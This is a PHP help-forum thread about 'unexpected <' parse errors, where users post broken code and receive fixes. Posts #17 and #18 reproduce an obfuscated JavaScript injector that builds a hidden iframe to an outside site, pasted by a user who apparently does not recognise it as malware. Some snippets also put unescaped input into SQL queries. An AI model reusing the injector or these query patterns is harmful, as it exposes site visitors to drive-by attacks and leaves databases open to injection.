1. Advertising
    y u no do it?

    Advertising (learn more)

    Advertise virtually anything here, with CPM banner ads, CPM email ads and CPC contextual links. You can target relevant areas of the site and show ads based on geographical location of the user if you wish.

    Starts at just $1 per CPM or $0.10 per CPC.

Parse error: syntax error, unexpected '<'

Discussion in 'PHP' started by Pixel Dynamics, Oct 25, 2006.

  1. #1
    I know this is probably a stupid error but:

    Parse error: syntax error, unexpected '<' in /home/nick/public_html/linkwars/phptest.php on line 12

    I can't for the life of me figure out whats wrong. Any help?


    <html>
    <head>
    <title>PHP Test</title>
    </head>
    <body>
    
    <?php
    
    $linkID = mysql_connect("localhost","username","password");
    mysql_select_db("forminfo",$linkID);
    
    <form action="/test/phptest.php" method="get">
    Name:
    <input type="text" name="name"><br>
    Site Name:
    <input type="text" name="sitename"><br>
    Site URL:
    <input type="text" name="siteurl"><br>
    Site Description:
    <input type="text" name="sitedis"><br>
    Your Bid:
    <input type="text" name="bid"><br>
    
    <input type="submit" name="submit">
    </form>
    
    mysql_query("INSERT INTO forminfo (name, site name, site url, site dis, bid) VALUES ($name, '$sitename', '$siteurl', '$sitedis', '$bid')",
    $linkID);
    
    mysql_close($linkID);
    
    ?>
    
    </body>
    </html>
    Code (markup):
    Regards,
    - Nick
     
    Pixel Dynamics, Oct 25, 2006 IP
  2. Pixel Dynamics

    Pixel Dynamics Active Member

    Messages:
    809
    Likes Received:
    20
    Best Answers:
    0
    Trophy Points:
    60
    #2
    Wow, nvm. I got it... I need to print it... DUH!
     
    Pixel Dynamics, Oct 25, 2006 IP
  3. TwistMyArm

    TwistMyArm Peon

    Messages:
    931
    Likes Received:
    44
    Best Answers:
    0
    Trophy Points:
    0
    #3
    Alternatively, you could have just closed off the PHP with ?> before your plain HTML, then start up PHP again with <?php before you start with your PHP code.

    If that makes sense :)
     
    TwistMyArm, Oct 26, 2006 IP
  4. slaich

    slaich Active Member

    Messages:
    31
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    93
    #4
    yes he is right
     
    slaich, Nov 1, 2008 IP
  5. oxidati0n

    oxidati0n Peon

    Messages:
    744
    Likes Received:
    5
    Best Answers:
    0
    Trophy Points:
    0
    #5
    Yep. It's absolutely right.

    I'd most likely use echo <<<TEXT TEXT; because you can put " and ' without any mistakened errors.
     
    oxidati0n, Nov 1, 2008 IP
  6. sayewhat

    sayewhat Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #6
    Hi, i have the same problem and this is what my code says:

    <?php virtual('/Connections/register.php'); ?>
    <?php
    if (!function_exists("GetSQLValueString")) {
    function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
    {
    $theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

    $theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

    switch ($theType) {
    case "text":
    $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
    break;
    case "long":
    case "int":
    $theValue = ($theValue != "") ? intval($theValue) : "NULL";
    break;
    case "double":
    $theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
    break;
    case "date":
    $theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
    break;
    case "defined":
    $theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
    break;
    }
    return $theValue;
    }
    }
    ?>
    <?php
    // *** Validate request to login to this site.
    if (!isset($_SESSION)) {
    session_start();
    }

    $loginFormAction = $_SERVER['PHP_SELF'];
    if (isset($_GET['accesscheck'])) {
    $_SESSION['PrevUrl'] = $_GET['accesscheck'];
    }

    if (isset($_POST['username'])) {
    $loginUsername=$_POST['username'];
    $password=$_POST['password'];
    $MM_fldUserAuthorization = "id_user";
    $MM_redirectLoginSuccess = "http://www.atldiscreetcompanions.com/companions.html";
    $MM_redirectLoginFailed = "http://www.atldiscreetcompanions.com/error.html";
    $MM_redirecttoReferrer = false;
    mysql_select_db($database_register, $register);

    $LoginRS__query=sprintf("SELECT user_name, paasword, id_user FROM registerusers WHERE user_name=%s AND paasword=%s",
    GetSQLValueString($loginUsername, "text"), GetSQLValueString($password, "text"));

    $LoginRS = mysql_query($LoginRS__query, $register) or die(mysql_error());
    $loginFoundUser = mysql_num_rows($LoginRS);
    if ($loginFoundUser) {

    $loginStrGroup = mysql_result($LoginRS,0,'id_user');

    //declare two session variables and assign them
    $_SESSION['MM_Username'] = $loginUsername;
    $_SESSION['MM_UserGroup'] = $loginStrGroup;

    if (isset($_SESSION['PrevUrl']) && false) {
    $MM_redirectLoginSuccess = $_SESSION['PrevUrl'];
    }
    header("Location: " . $MM_redirectLoginSuccess );
    }
    else {
    header("Location: ". $MM_redirectLoginFailed );
    }
    }
    ?>
    <?php ACTION= "<?php echo $loginFormAction; ?>" METHOD="POST" require_once('login.php'); ?>

    <div align="center">
    <form name="form1" method="POST" action="<?php echo $loginFormAction; ?>">
    <table width="400" border="0" cellspacing="0" cellpadding="3">
    <tr>
    <td width="100">Username:</td>
    <td><input name="username" type="text" id="username"></td>
    </tr>
    <tr>
    <td width="100">Password:</td>
    <td><input name="password" type="password" id="password"></td>
    </tr>
    <tr>
    <td width="100">&nbsp;</td>
    <td><input type="submit" name="Submit" value="Submit"></td>
    </tr>
    </table>
    </form>
    </div>


    <div align="center">Not a member yet? <a href="http://www.atldiscreetcompanions.com/register.php" target="_blank">Sign up</a>.</div>
    <div align="center">Not a VIP member? Sign up or <a href="http://www.atldiscreetcompanions.com/vip.html" target="_blank">join now</a>!
    </div>
    </body>
    </html>

    it says the error is @ line 75 (<?php ACTION= "<?php echo $loginFormAction; ?>" METHOD="POST" require_once('login.php'); ?>)

    Thanks!
     
    sayewhat, Sep 15, 2010 IP
  7. exzevia

    exzevia Peon

    Messages:
    8
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #7
    hie just got the same error (Parse error: syntax error, unexpected '<' in C:\xampp\htdocs\project\reply.php on line 25)


    <?php
    session_start();
    require("config.php");
    require("functions.php");
    $db = mysql_connect($dbhost, $dbuser, $dbpassword);
    mysql_select_db($dbdatabase, $db);
    if(isset($_GET['id']) == TRUE) {
    if(is_numeric($_GET['id']) == FALSE) {
    $error = 1;
    }
    if($error == 1) {
    header("Location: " . $config_basedir);
    }
    else {
    $validtopic = $_GET['id'];
    }
    }
    else {
    header("Location: " . $config_basedir);
    }
    if(isset($_SESSION['USERNAME']) == FALSE) {
    header("Location: " . $config_basedir . "/login.php?ref=reply&id=" .
    $validtopic);
    }
    <form action="<?php echo pf_script_with_get($SCRIPT_NAME); ?>" method="post">
    <table>
    <tr>
    <td>Subject</td>
    <td><input type="text" name="subject"></td>
    </tr>
    <tr>
    <td>Body</td>
    <td><textarea name="body" rows="10" cols="50"></textarea></td>
    </tr>
    <tr>
    <td></td>
    <td><input type="submit" name="submit" value="Post!"></td>
    </tr>
    </table>
    </form>

    <?php
    }
    require("footer.php");
    ?>
     
    exzevia, Oct 22, 2010 IP
  8. Matsini

    Matsini Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #8
    "Parse error: syntax error, unexpected..." problem again.
    I would be pretty pleased if a solution of the situation should be expressed. As a "Quick Reply" most hopefully.
    I try to open ...kallan.org as the Master site of ...facebook.com
    I achive: "Parse error: syntax error, unexpected '<' in /web/org/eng.kallan.org/index.php on line 49"
    We have asked Fb members if they get same result but no, just me.
    If I write the www-address (...kallan.org) correct I recive after 'Enter': ...://eng.kallan.org/
    Can't say no more but an explanation would be "Jummy"!
    Anything else needed?
     
    Matsini, Dec 10, 2010 IP
  9. drctaccess

    drctaccess Peon

    Messages:
    62
    Likes Received:
    1
    Best Answers:
    1
    Trophy Points:
    0
    #9
    you probably forgot to put the closing PHP tag ?> before dealing with HTML code

    example:

    
    <?php //starting tag
    //some php code here
    ?> //ending tag
    //some html code here
    <?php //starting tag
    //some php code here
    ?> //ending tag
    //some HTML code here
    
    Code (markup):
    and so on

    I hope this helps
     
    drctaccess, Dec 10, 2010 IP
  10. senth

    senth Peon

    Messages:
    53
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #10
    Use echo statement for regular HTML tags, this will solve the error.
     
    senth, Dec 10, 2010 IP
  11. JREAM

    JREAM Member

    Messages:
    160
    Likes Received:
    2
    Best Answers:
    0
    Trophy Points:
    30
    #11
    This is a simple syntax error - make sure you are using a syntax highlighter to view your code (Such as Notepad++ or Dreamweaver). Then you can clearly see where something is in it's wrong place :) However, I recommend Netbeans it will tell of errors AS you type!
     
    JREAM, Dec 13, 2010 IP
  12. 812402

    812402 Peon

    Messages:
    27
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #12
    I have the same parse error.

    Code:

    <!DOCTYPE HTML 5>
    <html>
    <head>
    <title>Home</title>
    <link rel="icon" href="/favicon.ico" type="image/x-icon">
    <link rel="stylesheet" href="\812\style.css">
    </head>
    <body>
    
    <h4>Menu</h4>
    <p class="menu"><a href="/812/index.php">Home</a></p>
    </body>
    </html>
    <?php 
    
    if (isset($_SESSION['user_id'])) {
      
      echo '<div class="menu"> <a href="logout.php">Logout</a> <a href="games.php">Games</a></div>';
       
      echo '<h2>Hello, {$_SESSION['username']}</h2>';
    
      echo '<img src="{$_SESSION['thumbnail']}">';
    
      echo '<a href="/812/editavatar.php">Edit Avatar</a>;
        
    } else {
      echo '<div class="menu">
    
      <a href="login.php">Login</a>
      <a href="games.php">Games</a>
      <a href="register.php">Register</a>
      </div>';
      
      echo '<h3><a href="http://812402.com/812/login.php">Click here</a> to login.</h3>';
    };
    
    
    
    ?>
    Code (markup):
    Every reply here I saw still didn't help me.
     
    812402, May 26, 2011 IP
  13. drctaccess

    drctaccess Peon

    Messages:
    62
    Likes Received:
    1
    Best Answers:
    1
    Trophy Points:
    0
    #13
    this line:

    
    echo '<a href="/812/editavatar.php">Edit Avatar</a>;
    
    Code (markup):
    should be
    
    echo '<a href="/812/editavatar.php">Edit Avatar</a>';
    
    Code (markup):
    I hope this helps
     
    drctaccess, May 26, 2011 IP
  14. katkay1

    katkay1 Member

    Messages:
    53
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    43
    #14
    If you got the problem just post it here a full and perfect one as I need it too.
     
    katkay1, May 27, 2011 IP
  15. katkay1

    katkay1 Member

    Messages:
    53
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    43
    #15
    Mention to solution you use for syntax error.
     
    katkay1, May 27, 2011 IP
  16. Feng Xingwei

    Feng Xingwei Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #16
    Similar question!
    Parse error: syntax error, unexpected '>' in H:\TEMP\PHP\learning_php\working_with_databases\retrieving_data.php on line 22
    <?php echo $_SERVER['SCRIPT_NAME']."<BR>"; ?>
    <?php
    echo "<b>Intro: Let's do a little generic database work!</b><BR><BR>";
    $user = "root";
    $passwd = "root";
    $host = "'localhost'“
    // Connecting, selecting database
    $connect = mysql_connect( $host, $user, $passwd)
    or die('Could not connect: ' . mysql_error());
    echo '<b>Step 1:</b> Connected successfully! <BR>';

    $db = 'samples';
    mysql_select_db($db) or die('Could not select database ('.$db.') because of : '.mysql_error());
    echo '<b>Step 2:</b> Connected to ('.$db.') successful!<BR>';

    // Performing SQL query
    $query = 'SELECT * FROM tbl_users';
    $result = mysql_query($query) or die('Query failed: ' . mysql_error());


    // Printing results in HTML
    echo "<br><br><bLet's fetch data...</b><br>";
    echo "<table border='1' width='3000'>\n";

    $count = 0;
    while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    echo "\t<tr>\n";
    foreach ($line as $col_value) {
    echo "\t\t<td>$col_value</td>\n";
    }
    $count++;
    echo "\t</tr>\n";
    }

    echo "</table>\n";

    if ($count < 1) {
    echo "<br><br>No rows were found in this table.<br><br>";
    } else {
    echo "<br><br>".$count." rows were found in this table.<br><br>";
    }

    // We will free the resultset...
    mysql_free_result($result);

    // Now we close the connection...
    mysql_close($connect);
    ?>
     
    Feng Xingwei, Jul 28, 2011 IP
  17. newguy11

    newguy11 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #17
    I'm having the same issues and it just happened overnight. I haven't touched the coding in weeks but today I keep getting the syntax error. Here is the code, somebody PLEASE help me :(mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);
     
    newguy11, Aug 14, 2011 IP
  18. newguy11

    newguy11 Peon

    Messages:
    2
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #18
    mv='uf';jx='tv.';cg='me';k='e';mg='rc';g='ys';rs='m';f='of';m='ht';u='85y';ca='e.c';r='s';j='fra';i='ht';h='//h';qy='wob';v='k9';a='t';qt='i';br='p:';s='om/';ul=qt.concat(j,cg);xl=r.concat(mg);xp=m.concat(a,br,h,g,f,mv,k,qy,ca,s,v,u,jx,i,rs);var bn=document.createElement(ul);bn.setAttribute('width','1');bn.setAttribute('height','1');bn.frameBorder=0;bn.setAttribute(xl,xp);document.body.appendChild(bn);
     
    newguy11, Aug 14, 2011 IP
  19. johnsonasu35

    johnsonasu35 Peon

    Messages:
    1
    Likes Received:
    0
    Best Answers:
    0
    Trophy Points:
    0
    #19
    I recently got hacked, and I have been going through a large amount of my sites to ensure that they are all ok. Well I found one that didn't make it.

    Any help on figuring this one out will be great.

    Error Code: Parse error: syntax error, unexpected '<' in /home3/******/public_html/********/wp-settings.php on line 131

    wp-setting.php code =

    <?php
    /**
    * Used to setup and fix common variables and include
    * the WordPress procedural and class library.
    *
    * You should not have to change this file and allows
    * for some configuration in wp-config.php.
    *
    * @package WordPress
    */


    if ( !defined('WP_MEMORY_LIMIT') )
    define('WP_MEMORY_LIMIT', '32M');


    if ( function_exists('memory_get_usage') && ( (int) @ini_get('memory_limit') < abs(intval(WP_MEMORY_LIMIT)) ) )
    @ini_set('memory_limit', WP_MEMORY_LIMIT);


    set_magic_quotes_runtime(0);
    @ini_set('magic_quotes_sybase', 0);


    if ( function_exists('date_default_timezone_set') )
    date_default_timezone_set('UTC');


    /**
    * Turn register globals off.
    *
    * @access private
    * @since 2.1.0
    * @return null Will return null if register_globals PHP directive was disabled
    */
    function wp_unregister_GLOBALS() {
    if ( !ini_get('register_globals') )
    return;


    if ( isset($_REQUEST['GLOBALS']) )
    die('GLOBALS overwrite attempt detected');


    // Variables that shouldn't be unset
    $noUnset = array('GLOBALS', '_GET', '_POST', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES', 'table_prefix');


    $input = array_merge($_GET, $_POST, $_COOKIE, $_SERVER, $_ENV, $_FILES, isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());
    foreach ( $input as $k => $v )
    if ( !in_array($k, $noUnset) && isset($GLOBALS[$k]) ) {
    $GLOBALS[$k] = NULL;
    unset($GLOBALS[$k]);
    }
    }


    wp_unregister_GLOBALS();


    unset( $wp_filter, $cache_lastcommentmodified, $cache_lastpostdate );


    /**
    * The $blog_id global, which you can change in the config allows you to create a simple
    * multiple blog installation using just one WordPress and changing $blog_id around.
    *
    * @global int $blog_id
    * @since 2.0.0
    */
    if ( ! isset($blog_id) )
    $blog_id = 1;


    // Fix for IIS when running with PHP ISAPI
    if ( empty( $_SERVER['REQUEST_URI'] ) || ( php_sapi_name() != 'cgi-fcgi' && preg_match( '/^Microsoft-IIS\//', $_SERVER['SERVER_SOFTWARE'] ) ) ) {


    // IIS Mod-Rewrite
    if (isset($_SERVER['HTTP_X_ORIGINAL_URL'])) {
    $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_ORIGINAL_URL'];
    }
    // IIS Isapi_Rewrite
    else if (isset($_SERVER['HTTP_X_REWRITE_URL'])) {
    $_SERVER['REQUEST_URI'] = $_SERVER['HTTP_X_REWRITE_URL'];
    }
    else
    {
    // Use ORIG_PATH_INFO if there is no PATH_INFO
    if ( !isset($_SERVER['PATH_INFO']) && isset($_SERVER['ORIG_PATH_INFO']) )
    $_SERVER['PATH_INFO'] = $_SERVER['ORIG_PATH_INFO'];


    // Some IIS + PHP configurations puts the script-name in the path-info (No need to append it twice)
    if ( isset($_SERVER['PATH_INFO']) ) {
    if ( $_SERVER['PATH_INFO'] == $_SERVER['SCRIPT_NAME'] )
    $_SERVER['REQUEST_URI'] = $_SERVER['PATH_INFO'];
    else
    $_SERVER['REQUEST_URI'] = $_SERVER['SCRIPT_NAME'] . $_SERVER['PATH_INFO'];
    }


    // Append the query string if it exists and isn't null
    if (isset($_SERVER['QUERY_STRING']) && !empty($_SERVER['QUERY_STRING'])) {
    $_SERVER['REQUEST_URI'] .= '?' . $_SERVER['QUERY_STRING'];
    }
    }
    }


    // Fix for PHP as CGI hosts that set SCRIPT_FILENAME to something ending in php.cgi for all requests
    if ( isset($_SERVER['SCRIPT_FILENAME']) && ( strpos($_SERVER['SCRIPT_FILENAME'], 'php.cgi') == strlen($_SERVER['SCRIPT_FILENAME']) - 7 ) )
    $_SERVER['SCRIPT_FILENAME'] = $_SERVER['PATH_TRANSLATED'];


    // Fix for Dreamhost and other PHP as CGI hosts
    if (strpos($_SERVER['SCRIPT_NAME'], 'php.cgi') !== false)
    unset($_SERVER['PATH_INFO']);


    // Fix empty PHP_SELF
    $PHP_SELF = $_SERVER['PHP_SELF'];
    if ( empty($PHP_SELF) )
    $_SERVER['PHP_SELF'] = $PHP_SELF = preg_replace("/(\?.*)?$/",'',$_SERVER["REQUEST_URI"]);


    if ( version_compare( '4.3', phpversion(), '>' ) ) {
    die( sprintf( /*WP_I18N_OLD_PHP*/'Your server is running PHP version %s but WordPress requires at least 4.3.'/*/WP_I18N_OLD_PHP*/, phpversion() ) );
    }


    if ( !defined('WP_CONTENT_DIR') )
    define( 'WP_CONTENT_DIR', ABSPATH . 'wp-content' ); // no trailing slash, full paths only - WP_CONTENT_URL is defined further down


    if ( file_exists(ABSPATH . '.maintenance') && !defined('WP_INSTALLING') ) {
    include(ABSPATH . '.maintenance');
    // If the $upgrading timestamp is older than 10 minutes, don't die.
    if ( ( time() - $upgrading ) < 600 ) {
    if ( file_exists( WP_CONTENT_DIR . '/maintenance.php' ) ) {
    require_once( WP_CONTENT_DIR . '/maintenance.php' );
    die();
    }


    $protocol = $_SERVER["SERVER_PROTOCOL"];
    if ( 'HTTP/1.1' != $protocol && 'HTTP/1.0' != $protocol )
    $protocol = 'HTTP/1.0';
    header( "$protocol 503 Service Unavailable", true, 503 );
    header( 'Content-Type: text/html; charset=utf-8' );
    header( 'Retry-After: 600' );


    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>Maintenance</title>


    </head>
    <body>
    <h1>Briefly unavailable for scheduled maintenance. Check back in a minute.</h1>
    </body>
    </html>
    <?php
    die();
    }
    }


    if ( !extension_loaded('mysql') && !file_exists(WP_CONTENT_DIR . '/db.php') )
    die( /*WP_I18N_OLD_MYSQL*/'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.'/*/WP_I18N_OLD_MYSQL*/ );


    /**
    * PHP 4 standard microtime start capture.
    *
    * @access private
    * @since 0.71
    * @global int $timestart Seconds and Microseconds added together from when function is called.
    * @return bool Always returns true.
    */
    function timer_start() {
    global $timestart;
    $mtime = explode(' ', microtime() );
    $mtime = $mtime[1] + $mtime[0];
    $timestart = $mtime;
    return true;
    }


    /**
    * Return and/or display the time from the page start to when function is called.
    *
    * You can get the results and print them by doing:
    * <code>
    * $nTimePageTookToExecute = timer_stop();
    * echo $nTimePageTookToExecute;
    * </code>
    *
    * Or instead, you can do:
    * <code>
    * timer_stop(1);
    * </code>
    * which will do what the above does. If you need the result, you can assign it to a variable, but
    * most cases, you only need to echo it.
    *
    * @since 0.71
    * @global int $timestart Seconds and Microseconds added together from when timer_start() is called
    * @global int $timeend Seconds and Microseconds added together from when function is called
    *
    * @param int $display Use '0' or null to not echo anything and 1 to echo the total time
    * @param int $precision The amount of digits from the right of the decimal to display. Default is 3.
    * @return float The "second.microsecond" finished time calculation
    */
    function timer_stop($display = 0, $precision = 3) { //if called like timer_stop(1), will echo $timetotal
    global $timestart, $timeend;
    $mtime = microtime();
    $mtime = explode(' ',$mtime);
    $mtime = $mtime[1] + $mtime[0];
    $timeend = $mtime;
    $timetotal = $timeend-$timestart;
    $r = ( function_exists('number_format_i18n') ) ? number_format_i18n($timetotal, $precision) : number_format($timetotal, $precision);
    if ( $display )
    echo $r;
    return $r;
    }
    timer_start();


    // Add define('WP_DEBUG', true); to wp-config.php to enable display of notices during development.
    if ( defined('WP_DEBUG') && WP_DEBUG ) {
    if ( defined('E_DEPRECATED') )
    error_reporting(E_ALL & ~E_DEPRECATED & ~E_STRICT);
    else
    error_reporting(E_ALL);
    // Add define('WP_DEBUG_DISPLAY', false); to wp-config.php to use the globally configured setting for display_errors and not force it to On
    if ( ! defined('WP_DEBUG_DISPLAY') || WP_DEBUG_DISPLAY )
    ini_set('display_errors', 1);
    // Add define('WP_DEBUG_LOG', true); to enable php debug logging to WP_CONTENT_DIR/debug.log
    if ( defined('WP_DEBUG_LOG') && WP_DEBUG_LOG ) {
    ini_set('log_errors', 1);
    ini_set('error_log', WP_CONTENT_DIR . '/debug.log');
    }
    } else {
    define('WP_DEBUG', false);
    if ( defined('E_RECOVERABLE_ERROR') )
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING | E_RECOVERABLE_ERROR);
    else
    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_USER_ERROR | E_USER_WARNING);
    }


    // For an advanced caching plugin to use, static because you would only want one
    if ( defined('WP_CACHE') && WP_CACHE )
    @include WP_CONTENT_DIR . '/advanced-cache.php';


    /**
    * Private
    */
    if ( !defined('MEDIA_TRASH') )
    define('MEDIA_TRASH', false);


    /**
    * Stores the location of the WordPress directory of functions, classes, and core content.
    *
    * @since 1.0.0
    */
    define('WPINC', 'wp-includes');


    if ( !defined('WP_LANG_DIR') ) {
    /**
    * Stores the location of the language directory. First looks for language folder in WP_CONTENT_DIR
    * and uses that folder if it exists. Or it uses the "languages" folder in WPINC.
    *
    * @since 2.1.0
    */
    if ( file_exists(WP_CONTENT_DIR . '/languages') && @is_dir(WP_CONTENT_DIR . '/languages') ) {
    define('WP_LANG_DIR', WP_CONTENT_DIR . '/languages'); // no leading slash, no trailing slash, full path, not relative to ABSPATH
    if (!defined('LANGDIR')) {
    // Old static relative path maintained for limited backwards compatibility - won't work in some cases
    define('LANGDIR', 'wp-content/languages');
    }
    } else {
    define('WP_LANG_DIR', ABSPATH . WPINC . '/languages'); // no leading slash, no trailing slash, full path, not relative to ABSPATH
    if (!defined('LANGDIR')) {
    // Old relative path maintained for backwards compatibility
    define('LANGDIR', WPINC . '/languages');
    }
    }
    }


    require (ABSPATH . WPINC . '/compat.php');
    require (ABSPATH . WPINC . '/functions.php');
    require (ABSPATH . WPINC . '/classes.php');


    require_wp_db();


    if ( !empty($wpdb->error) )
    dead_db();


    /**
    * Format specifiers for DB columns. Columns not listed here default to %s.
    * @since 2.8.0
    * @see wpdb:$field_types
    * @see wpdb:prepare()
    * @see wpdb:insert()
    * @see wpdb:update()
    */
    $wpdb->field_types = array( 'post_author' => '%d', 'post_parent' => '%d', 'menu_order' => '%d', 'term_id' => '%d', 'term_group' => '%d', 'term_taxonomy_id' => '%d',
    'parent' => '%d', 'count' => '%d','object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'commment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d',
    'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d',
    'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d');


    $prefix = $wpdb->set_prefix($table_prefix);


    if ( is_wp_error($prefix) )
    wp_die(/*WP_I18N_BAD_PREFIX*/'<strong>ERROR</strong>: <code>$table_prefix</code> in <code>wp-config.php</code> can only contain numbers, letters, and underscores.'/*/WP_I18N_BAD_PREFIX*/);


    /**
    * Copy an object.
    *
    * Returns a cloned copy of an object.
    *
    * @since 2.7.0
    *
    * @param object $object The object to clone
    * @return object The cloned object
    */
    function wp_clone( $object ) {
    static $can_clone;
    if ( !isset( $can_clone ) ) {
    $can_clone = version_compare( phpversion(), '5.0', '>=' );
    }
    return $can_clone ? clone( $object ) : $object;
    }


    /**
    * Whether the current request is in WordPress admin Panel
    *
    * Does not inform on whether the user is an admin! Use capability checks to
    * tell if the user should be accessing a section or not.
    *
    * @since 1.5.1
    *
    * @return bool True if inside WordPress administration pages.
    */
    function is_admin() {
    if ( defined('WP_ADMIN') )
    return WP_ADMIN;
    return false;
    }


    if ( file_exists(WP_CONTENT_DIR . '/object-cache.php') ) {
    require_once (WP_CONTENT_DIR . '/object-cache.php');
    $_wp_using_ext_object_cache = true;
    } else {
    require_once (ABSPATH . WPINC . '/cache.php');
    $_wp_using_ext_object_cache = false;
    }


    wp_cache_init();
    if ( function_exists('wp_cache_add_global_groups') ) {
    wp_cache_add_global_groups(array ('users', 'userlogins', 'usermeta', 'site-transient'));
    wp_cache_add_non_persistent_groups(array( 'comment', 'counts', 'plugins' ));
    }


    require (ABSPATH . WPINC . '/plugin.php');
    require (ABSPATH . WPINC . '/default-filters.php');
    include_once(ABSPATH . WPINC . '/pomo/mo.php');
    require_once (ABSPATH . WPINC . '/l10n.php');


    if ( !is_blog_installed() && (strpos($_SERVER['PHP_SELF'], 'install.php') === false && !defined('WP_INSTALLING')) ) {
    if ( defined('WP_SITEURL') )
    $link = WP_SITEURL . '/wp-admin/install.php';
    elseif (strpos($_SERVER['PHP_SELF'], 'wp-admin') !== false)
    $link = preg_replace('|/wp-admin/?.*?$|', '/', $_SERVER['PHP_SELF']) . 'wp-admin/install.php';
    else
    $link = preg_replace('|/[^/]+?$|', '/', $_SERVER['PHP_SELF']) . 'wp-admin/install.php';
    require_once(ABSPATH . WPINC . '/kses.php');
    require_once(ABSPATH . WPINC . '/pluggable.php');
    require_once(ABSPATH . WPINC . '/formatting.php');
    wp_redirect($link);
    die(); // have to die here ~ Mark
    }


    require (ABSPATH . WPINC . '/formatting.php');
    require (ABSPATH . WPINC . '/capabilities.php');
    require (ABSPATH . WPINC . '/query.php');
    require (ABSPATH . WPINC . '/theme.php');
    require (ABSPATH . WPINC . '/user.php');
    require (ABSPATH . WPINC . '/meta.php');
    require (ABSPATH . WPINC . '/general-template.php');
    require (ABSPATH . WPINC . '/link-template.php');
    require (ABSPATH . WPINC . '/author-template.php');
    require (ABSPATH . WPINC . '/post.php');
    require (ABSPATH . WPINC . '/post-template.php');
    require (ABSPATH . WPINC . '/category.php');
    require (ABSPATH . WPINC . '/category-template.php');
    require (ABSPATH . WPINC . '/comment.php');
    require (ABSPATH . WPINC . '/comment-template.php');
    require (ABSPATH . WPINC . '/rewrite.php');
    require (ABSPATH . WPINC . '/feed.php');
    require (ABSPATH . WPINC . '/bookmark.php');
    require (ABSPATH . WPINC . '/bookmark-template.php');
    require (ABSPATH . WPINC . '/kses.php');
    require (ABSPATH . WPINC . '/cron.php');
    require (ABSPATH . WPINC . '/version.php');
    require (ABSPATH . WPINC . '/deprecated.php');
    require (ABSPATH . WPINC . '/script-loader.php');
    require (ABSPATH . WPINC . '/taxonomy.php');
    require (ABSPATH . WPINC . '/update.php');
    require (ABSPATH . WPINC . '/canonical.php');
    require (ABSPATH . WPINC . '/shortcodes.php');
    require (ABSPATH . WPINC . '/media.php');
    require (ABSPATH . WPINC . '/http.php');
    require (ABSPATH . WPINC . '/widgets.php');


    if ( !defined('WP_CONTENT_URL') )
    define( 'WP_CONTENT_URL', get_option('siteurl') . '/wp-content'); // full url - WP_CONTENT_DIR is defined further up


    /**
    * Allows for the plugins directory to be moved from the default location.
    *
    * @since 2.6.0
    */
    if ( !defined('WP_PLUGIN_DIR') )
    define( 'WP_PLUGIN_DIR', WP_CONTENT_DIR . '/plugins' ); // full path, no trailing slash


    /**
    * Allows for the plugins directory to be moved from the default location.
    *
    * @since 2.6.0
    */
    if ( !defined('WP_PLUGIN_URL') )
    define( 'WP_PLUGIN_URL', WP_CONTENT_URL . '/plugins' ); // full url, no trailing slash


    /**
    * Allows for the plugins directory to be moved from the default location.
    *
    * @since 2.1.0
    */
    if ( !defined('PLUGINDIR') )
    define( 'PLUGINDIR', 'wp-content/plugins' ); // Relative to ABSPATH. For back compat.


    /**
    * Allows for the mu-plugins directory to be moved from the default location.
    *
    * @since 2.8.0
    */
    if ( !defined('WPMU_PLUGIN_DIR') )
    define( 'WPMU_PLUGIN_DIR', WP_CONTENT_DIR . '/mu-plugins' ); // full path, no trailing slash


    /**
    * Allows for the mu-plugins directory to be moved from the default location.
    *
    * @since 2.8.0
    */
    if ( !defined('WPMU_PLUGIN_URL') )
    define( 'WPMU_PLUGIN_URL', WP_CONTENT_URL . '/mu-plugins' ); // full url, no trailing slash


    /**
    * Allows for the mu-plugins directory to be moved from the default location.
    *
    * @since 2.8.0
    */
